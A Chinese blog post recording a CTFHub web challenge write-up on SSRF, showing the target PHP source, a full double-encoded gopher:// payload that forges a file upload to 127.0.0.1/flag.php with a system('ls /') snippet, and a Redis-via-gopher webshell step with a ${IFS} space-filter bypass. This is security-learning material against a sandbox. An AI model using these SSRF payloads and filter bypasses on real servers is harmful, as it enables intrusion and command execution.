ctf web方向与php学习记录25(SSRF续2)

一,文件上传
首先,http协议查看上传页面,然后file协议查看源码(详细请查看ctf web方向与php学习记录24)。
然后分析以下源码
其中,'REMOTE_ADDR’用于浏览当前页面的用户的 IP 地址。
那么只要上传的文件来源于127.0.0.1(即本机地址),则绕过第一个if。

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

其次,getenv从CTFHUB获取一个环境变量的值,那么只要上传了文件,就或取一个值,很有可能获取的这个值就是flag(好吧,如果不是,我把这道题吃了)。

接下来就是上传利用gopher协议上传获得的文件请求的简单步骤了,游戏就此开始。

首先,给页面添加一个提交按钮(回车无用),然后,随意上传一个任意内容的文件,当然文件内容少一些看起来更简单(实际上没啥用处)。
在这里插入图片描述将抓到的包,进行gopher协议相对的编码,即一次编码,修改%0A为%0D%0A,然后再进行一次编码,之后构造playload上传。(具体过程详见上一片博客)

构造出来后如下:
?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520challenge-8f1fbe70df8add3b.sandbox.ctfhub.com%25253A10080%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A82.0)%252520Gecko%25252F20100101%252520Firefox%25252F82.0%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Fwebp%25252C*%25252F*%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D---------------------------344229352917391990053183177803%25250D%25250AContent-Length%25253A%252520369%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-8f1fbe70df8add3b.sandbox.ctfhub.com%25253A10080%25250D%25250AConnection%25253A%252520close%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-8f1fbe70df8add3b.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250A%25250D%25250A-----------------------------344229352917391990053183177803%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%2525221.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250APOST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250AContent-Length%25253A%25252022%25250D%25250A%25250D%25250A%25253Cphp%252520system(‘ls%252520%25252F’)%25253B%25253F%25253E%25250D%25250A-----------------------------344229352917391990053183177803–

稍等片刻,拿到flag。
在这里插入图片描述二,redis协议
首先,这道题目的关键在于对redis协议于SSFR之间的关系。
大家可以参考以下文章进行学习。
https://www.cnblogs.com/linuxsec/articles/11221756.html
接下来介绍一下我的解题步骤。
首先构造gopher协议(似乎redis不用二次编码也没事)。
于是我就用了以下的playload直接进行攻击,并未编码。
在这里插入图片描述然后,参照文章,利用shell.php远程访问,发现其中尽然又没有302.php(为什么说又,可以看看我之前的文章)。
在这里插入图片描述然后,尝试ls /,无果,存在空格过滤,${IFS}即可绕过。
在这里插入图片描述
看见flag文件。然后cat ${IFS}/flag…

在这里插入图片描述得到flag。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值